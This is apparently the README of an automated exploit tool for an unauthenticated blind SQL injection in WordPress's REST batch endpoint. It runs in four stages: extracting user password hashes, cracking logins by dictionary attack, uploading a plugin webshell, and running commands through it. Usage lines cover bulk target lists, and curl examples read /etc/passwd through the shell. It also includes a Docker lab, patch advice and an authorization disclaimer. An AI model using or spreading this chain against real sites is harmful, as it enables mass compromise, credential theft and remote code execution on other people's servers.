
Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.
WordPress REST 批量路由混乱盲SQL注入——自动化利用链。
CVE-2026-63030 / CVE-2026-60137
| 受影响版本 | WordPress 6.9.0 – 6.9.4 和 7.0.0 – 7.0.1 |
| 修复版本 | WordPress 6.9.5 / 7.0.2 |
| 注入点 | 通过反同步的 author_exclude 参数,经 author__not_in SQL 注入 |
| 认证要求 | 无(未认证 SQLi) |
仅用于授权的安全测试。
WordPress REST API 批量端点(/wp-json/batch/v1)允许嵌套的批量请求。通过双层嵌套的反同步载荷,使内部的 $matches / $validation 数组发生偏移,从而将精心构造的 author_exclude 值未经净化地注入到 author__not_in SQL 语句中。由此实现未认证的盲布尔加时间型 SQL 注入。
利用链——4 个阶段:
阶段 1 漏洞检测 批量标记探测 + 可选 SQL 时间检测
阶段 2 哈希提取 盲 SQLi 提取 wp_users(登录名 + 哈希)
阶段 3 认证 通过 wp-login.php 进行字典攻击
阶段 4 Webshell 部署 插件 ZIP 上传 -> RCE 验证
aiohttpcoloramapip install aiohttp colorama
单个目标
python wp2shell.py http://target.com
目标列表(每行一个 URL)
python wp2shell.py sites.txt
目标列表 + 自定义密码文件
python wp2shell.py sites.txt -p pass.txt
已知凭据(跳过字典)
python wp2shell.py http://target.com --user admin --password admin123
确认 SQLi 并附带时间检测
python wp2shell.py http://target.com --confirm-sqli
不使用漂亮固定链接
python wp2shell.py http://target.com --rest-route
通过 Burp 代理
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| 文件 | 内容 |
|---|---|
creds.txt | http://target=>user:pass(破解成功为明文,否则为哈希) |
webshell.txt | 活跃的 webshell URL |
VULNERABLE.txt | 所有阶段 1 确认存在漏洞的目标 |
所有文件均为追加模式——多次运行的结果会累积。
使用 webshell —— 在 webshell.txt 中的 URL 后附加 ?cmd=COMMAND:
# 浏览器
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
若字典未能匹配,creds.txt 中会包含提取的哈希:
hashcat -m 400 creds.txt wordlist.txt
然后使用破解得到的密码重新运行:
python wp2shell.py http://target.com --user admin --password <明文密码>
启动一个存在漏洞的 WordPress 7.0.1 实例,用于安全的本地测试。
首次运行——构建卷并安装 WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
后续启动:
docker compose up -d db wordpress
停止:
docker compose down
完全重置(清除所有数据):
docker compose down -v
对实验环境运行利用脚本:
python wp2shell.py http://localhost:8080
更新至 WordPress 6.9.5 或 7.0.2。修复程序在派发嵌套请求之前对批量路由进行验证,防止了导致 SQL 注入点暴露的反同步问题。
仅可用于您拥有或已获得明确书面授权进行测试的系统。未经授权使用属于违法行为。
| 标志 | 默认值 | 描述 |
|---|
target | — | URL(http://target)或目标列表文件路径 |
-p FILE | — | 密码列表文件(每行一个) |
--user | — | 跳过字典,使用此用户名 |
--password | — | 跳过字典,使用此密码 |
--confirm-sqli | 关闭 | 在标记检查后发送活跃的 SQL 时间探测 |
--rest-route | 关闭 | 使用 /?rest_route=/batch/v1(不启用漂亮固定链接) |
--sleep N | 3.0 | SQL SLEEP() 延迟秒数 |
--samples N | 3 | 用于中位数计算的时间采样对数量 |
--timeout N | 30.0 | HTTP 请求超时 |
--prefix PREFIX | wp_ | 数据库表前缀 |
--proxy URL | — | HTTP/HTTPS 代理 |
| 地址 | http://localhost:8080 |
| 管理员 | admin / admin123 |
| MySQL 主机 | db |
| MySQL 用户/密码 | wpuser / wppass |
| 数据库 | wordpress |